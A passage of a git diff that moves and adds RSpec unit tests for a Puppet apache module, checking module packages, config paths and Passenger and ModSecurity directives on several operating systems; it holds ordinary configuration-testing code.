b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authnz_ldap_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/authnz_ldap_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authnz_ldap_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authnz_pam_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authnz_pam_spec.rb new file mode 100644 index 000000000..4bceeab85 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authnz_pam_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 'apache::mod::authnz_pam', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("libapache2-mod-authnz-pam") } + it { is_expected.to contain_apache__mod('authnz_pam') } + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("mod_authnz_pam") } + it { is_expected.to contain_apache__mod('authnz_pam') } + end # Redhat + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/cluster_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/cluster_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/cluster_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/cluster_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/dav_svn_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dav_svn_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/dav_svn_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dav_svn_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/deflate_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/deflate_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/deflate_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/deflate_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/dev_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dev_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/dev_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dev_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/dir_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dir_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/dir_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dir_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/disk_cache_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/disk_cache_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/disk_cache_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/disk_cache_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/dumpio_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dumpio_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/dumpio_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/dumpio_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/event_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/event_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/event_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/event_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/expires_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/expires_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/expires_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/expires_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/ext_filter_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ext_filter_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/ext_filter_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ext_filter_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/fastcgi_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/fastcgi_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/fastcgi_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/fastcgi_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/fcgid_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/fcgid_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/fcgid_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/fcgid_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/info_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/info_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/info_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/info_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/intercept_form_submit_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/intercept_form_submit_spec.rb new file mode 100644 index 000000000..14a91fcee --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/intercept_form_submit_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 'apache::mod::intercept_form_submit', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("libapache2-mod-intercept-form-submit") } + it { is_expected.to contain_apache__mod('intercept_form_submit') } + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("mod_intercept_form_submit") } + it { is_expected.to contain_apache__mod('intercept_form_submit') } + end # Redhat + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/itk_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/itk_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/itk_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/itk_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/ldap_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ldap_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/ldap_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ldap_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/lookup_identity.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/lookup_identity.rb new file mode 100644 index 000000000..a04e2e88e --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/lookup_identity.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 'apache::mod::lookup_identity', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("libapache2-mod-lookup-identity") } + it { is_expected.to contain_apache__mod('lookup_identity') } + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("mod_lookup_identity") } + it { is_expected.to contain_apache__mod('lookup_identity') } + end # Redhat + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/mime_magic_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/mime_magic_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/mime_magic_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/mime_magic_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/mime_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/mime_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/mime_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/mime_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/negotiation_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/negotiation_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/negotiation_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/negotiation_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/pagespeed_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/pagespeed_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/pagespeed_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/pagespeed_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/passenger_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/passenger_spec.rb new file mode 100644 index 000000000..200d45706 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/passenger_spec.rb @@ -0,0 +1,331 @@ +require 'spec_helper' + +describe 'apache::mod::passenger', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :kernel => 'Linux', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('passenger') } + it { is_expected.to contain_package("libapache2-mod-passenger") } + it { is_expected.to contain_file('zpassenger.load').with({ + 'path' => '/etc/apache2/mods-available/zpassenger.load', + }) } + it { is_expected.to contain_file('passenger.conf').with({ + 'path' => '/etc/apache2/mods-available/passenger.conf', + }) } + describe "with passenger_root => '/usr/lib/example'" do + let :params do + { :passenger_root => '/usr/lib/example' } + end + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRoot "/usr/lib/example"}) } + end + describe "with passenger_ruby => /usr/lib/example/ruby" do + let :params do + { :passenger_ruby => '/usr/lib/example/ruby' } + end + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRuby "/usr/lib/example/ruby"}) } + end + describe "with passenger_default_ruby => /usr/lib/example/ruby1.9.3" do + let :params do + { :passenger_ruby => '/usr/lib/example/ruby1.9.3' } + end + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRuby "/usr/lib/example/ruby1.9.3"}) } + end + describe "with passenger_high_performance => on" do + let :params do + { :passenger_high_performance => 'on' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerHighPerformance on$/) } + end + describe "with passenger_pool_idle_time => 1200" do + let :params do + { :passenger_pool_idle_time => 1200 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerPoolIdleTime 1200$/) } + end + describe "with passenger_max_request_queue_size => 100" do + let :params do + { :passenger_max_request_queue_size => 100 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMaxRequestQueueSize 100$/) } + end + + describe "with passenger_max_requests => 20" do + let :params do + { :passenger_max_requests => 20 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMaxRequests 20$/) } + end + describe "with passenger_spawn_method => direct" do + let :params do + { :passenger_spawn_method => 'direct' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerSpawnMethod direct$/) } + end + describe "with passenger_stat_throttle_rate => 10" do + let :params do + { :passenger_stat_throttle_rate => 10 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerStatThrottleRate 10$/) } + end + describe "with passenger_max_pool_size => 16" do + let :params do + { :passenger_max_pool_size => 16 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMaxPoolSize 16$/) } + end + describe "with passenger_min_instances => 5" do + let :params do + { :passenger_min_instances => 5 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMinInstances 5$/) } + end + describe "with passenger_max_instances_per_app => 8" do + let :params do + { :passenger_max_instances_per_app => 8 } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMaxInstancesPerApp 8$/) } + end + describe "with rack_autodetect => on" do + let :params do + { :rack_autodetect => 'on' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ RackAutoDetect on$/) } + end + describe "with rails_autodetect => on" do + let :params do + { :rails_autodetect => 'on' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ RailsAutoDetect on$/) } + end + describe "with passenger_use_global_queue => on" do + let :params do + { :passenger_use_global_queue => 'on' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerUseGlobalQueue on$/) } + end + describe "with passenger_app_env => 'foo'" do + let :params do + { :passenger_app_env => 'foo' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerAppEnv foo$/) } + end + describe "with passenger_log_file => '/var/log/apache2/passenger.log'" do + let :params do + { :passenger_log_file => '/var/log/apache2/passenger.log' } + end + it { is_expected.to contain_file('passenger.conf').with_content(%r{^ PassengerLogFile /var/log/apache2/passenger.log$}) } + end + describe "with passenger_log_level => 3" do + let :params do + { :passenger_log_level => 3 } + end + it { is_expected.to contain_file('passenger.conf').with_content(%r{^ PassengerLogLevel 3$}) } + end + describe "with mod_path => '/usr/lib/foo/mod_foo.so'" do + let :params do + { :mod_path => '/usr/lib/foo/mod_foo.so' } + end + it { is_expected.to contain_file('zpassenger.load').with_content(/^LoadModule passenger_module \/usr\/lib\/foo\/mod_foo\.so$/) } + end + describe "with mod_lib_path => '/usr/lib/foo'" do + let :params do + { :mod_lib_path => '/usr/lib/foo' } + end + it { is_expected.to contain_file('zpassenger.load').with_content(/^LoadModule passenger_module \/usr\/lib\/foo\/mod_passenger\.so$/) } + end + describe "with mod_lib => 'mod_foo.so'" do + let :params do + { :mod_lib => 'mod_foo.so' } + end + it { is_expected.to contain_file('zpassenger.load').with_content(/^LoadModule passenger_module \/usr\/lib\/apache2\/modules\/mod_foo\.so$/) } + end + describe "with mod_id => 'mod_foo'" do + let :params do + { :mod_id => 'mod_foo' } + end + it { is_expected.to contain_file('zpassenger.load').with_content(/^LoadModule mod_foo \/usr\/lib\/apache2\/modules\/mod_passenger\.so$/) } + end + + context "with Ubuntu 12.04 defaults" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '12.04', + :kernel => 'Linux', + :operatingsystem => 'Ubuntu', + :lsbdistrelease => '12.04', + :concat_basedir => '/dne', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRoot "/usr"}) } + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRuby "/usr/bin/ruby"}) } + it { is_expected.to contain_file('passenger.conf').without_content(/PassengerDefaultRuby/) } + end + + context "with Ubuntu 14.04 defaults" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '14.04', + :operatingsystem => 'Ubuntu', + :kernel => 'Linux', + :lsbdistrelease => '14.04', + :concat_basedir => '/dne', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRoot "/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini"}) } + it { is_expected.to contain_file('passenger.conf').without_content(/PassengerRuby/) } + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerDefaultRuby "/usr/bin/ruby"}) } + end + + context "with Debian 7 defaults" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '7.3', + :operatingsystem => 'Debian', + :kernel => 'Linux', + :lsbdistcodename => 'wheezy', + :concat_basedir => '/dne', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRoot "/usr"}) } + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRuby "/usr/bin/ruby"}) } + it { is_expected.to contain_file('passenger.conf').without_content(/PassengerDefaultRuby/) } + end + + context "with Debian 8 defaults" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '8.0', + :operatingsystem => 'Debian', + :kernel => 'Linux', + :lsbdistcodename => 'jessie', + :concat_basedir => '/dne', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerRoot "/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini"}) } + it { is_expected.to contain_file('passenger.conf').without_content(/PassengerRuby/) } + it { is_expected.to contain_file('passenger.conf').with_content(%r{PassengerDefaultRuby "/usr/bin/ruby"}) } + end + end + + context "on a RedHat OS" do + let :rh_facts do + { + :osfamily => 'RedHat', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + context "on EL6" do + let(:facts) { rh_facts.merge(:operatingsystemrelease => '6') } + + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('passenger') } + it { is_expected.to contain_package("mod_passenger") } + it { is_expected.to contain_file('passenger_package.conf').with({ + 'path' => '/etc/httpd/conf.d/passenger.conf', + }) } + it { is_expected.to contain_file('passenger_package.conf').without_content } + it { is_expected.to contain_file('passenger_package.conf').without_source } + it { is_expected.to contain_file('zpassenger.load').with({ + 'path' => '/etc/httpd/conf.d/zpassenger.load', + }) } + it { is_expected.to contain_file('passenger.conf').without_content(/PassengerRoot/) } + it { is_expected.to contain_file('passenger.conf').without_content(/PassengerRuby/) } + describe "with passenger_root => '/usr/lib/example'" do + let :params do + { :passenger_root => '/usr/lib/example' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerRoot "\/usr\/lib\/example"$/) } + end + describe "with passenger_ruby => /usr/lib/example/ruby" do + let :params do + { :passenger_ruby => '/usr/lib/example/ruby' } + end + it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerRuby "\/usr\/lib\/example\/ruby"$/) } + end + end + + context "on EL7" do + let(:facts) { rh_facts.merge(:operatingsystemrelease => '7') } + + it { is_expected.to contain_file('passenger_package.conf').with({ + 'path' => '/etc/httpd/conf.d/passenger.conf', + }) } + it { is_expected.to contain_file('zpassenger.load').with({ + 'path' => '/etc/httpd/conf.modules.d/zpassenger.load', + }) } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('passenger') } + it { is_expected.to contain_package("www/rubygem-passenger") } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('passenger') } + it { is_expected.to contain_package("www-apache/passenger") } + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/perl_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/perl_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/perl_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/perl_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/peruser_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/peruser_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/peruser_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/peruser_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/php_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/php_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/php_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/php_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/prefork_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/prefork_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/prefork_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/prefork_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/proxy_balancer_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_balancer_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/proxy_balancer_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_balancer_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/proxy_connect_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_connect_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/proxy_connect_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_connect_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/proxy_html_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_html_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/proxy_html_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_html_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/proxy_wstunnel.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_wstunnel.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/proxy_wstunnel.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/proxy_wstunnel.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/python_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/python_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/python_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/python_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/remoteip_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/remoteip_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/remoteip_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/remoteip_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/reqtimeout_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/reqtimeout_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/reqtimeout_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/reqtimeout_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/rpaf_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/rpaf_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/rpaf_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/rpaf_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/security_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/security_spec.rb new file mode 100644 index 000000000..e30f7214f --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/security_spec.rb @@ -0,0 +1,162 @@ + +require 'spec_helper' + +describe 'apache::mod::security', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on RedHat based systems" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystem => 'CentOS', + :operatingsystemrelease => '7', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { should contain_apache__mod('security').with( + :id => 'security2_module', + :lib => 'mod_security2.so' + ) } + it { should contain_apache__mod('unique_id_module').with( + :id => 'unique_id_module', + :lib => 'mod_unique_id.so' + ) } + it { should contain_package('mod_security_crs') } + it { should contain_file('security.conf').with( + :path => '/etc/httpd/conf.modules.d/security.conf' + ) } + it { should contain_file('security.conf') + .with_content(%r{^\s+SecAuditLogRelevantStatus "\^\(\?:5\|4\(\?!04\)\)"$}) + .with_content(%r{^\s+SecAuditLogParts ABIJDEFHZ$}) + .with_content(%r{^\s+SecDebugLog /var/log/httpd/modsec_debug.log$}) + .with_content(%r{^\s+SecAuditLog /var/log/httpd/modsec_audit.log$}) + } + it { should contain_file('/etc/httpd/modsecurity.d').with( + :ensure => 'directory', + :path => '/etc/httpd/modsecurity.d', + :owner => 'root', + :group => 'root', + :mode => '0755', + ) } + it { should contain_file('/etc/httpd/modsecurity.d/activated_rules').with( + :ensure => 'directory', + :path => '/etc/httpd/modsecurity.d/activated_rules', + :owner => 'apache', + :group => 'apache' + ) } + it { should contain_file('/etc/httpd/modsecurity.d/security_crs.conf').with( + :path => '/etc/httpd/modsecurity.d/security_crs.conf' + ) } + it { should contain_apache__security__rule_link('base_rules/modsecurity_35_bad_robots.data') } + it { should contain_file('modsecurity_35_bad_robots.data').with( + :path => '/etc/httpd/modsecurity.d/activated_rules/modsecurity_35_bad_robots.data', + :target => '/usr/lib/modsecurity.d/base_rules/modsecurity_35_bad_robots.data', + ) } + + describe 'with parameters' do + let :params do + { + :activated_rules => [ + '/tmp/foo/bar.conf', + ], + :audit_log_relevant_status => "^(?:5|4(?!01|04))", + :audit_log_parts => "ABCDZ", + :secdefaultaction => "deny,status:406,nolog,auditlog", + } + end + it { should contain_file('security.conf').with_content %r{^\s+SecAuditLogRelevantStatus "\^\(\?:5\|4\(\?!01\|04\)\)"$} } + it { should contain_file('security.conf').with_content %r{^\s+SecAuditLogParts ABCDZ$} } + it { should contain_file('/etc/httpd/modsecurity.d/security_crs.conf').with_content %r{^\s*SecDefaultAction "phase:2,deny,status:406,nolog,auditlog"$} } + it { should contain_file('bar.conf').with( + :path => '/etc/httpd/modsecurity.d/activated_rules/bar.conf', + :target => '/tmp/foo/bar.conf', + ) } + end + describe 'with other modsec parameters' do + let :params do + { + :manage_security_crs => false + } + end + it { should_not contain_file('/etc/httpd/modsecurity.d/security_crs.conf') } + end + end + context "on Debian based systems" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/', + :lsbdistcodename => 'squeeze', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernel => 'Linux', + :is_pe => false, + } + end + it { should contain_apache__mod('security').with( + :id => 'security2_module', + :lib => 'mod_security2.so' + ) } + it { should contain_apache__mod('unique_id_module').with( + :id => 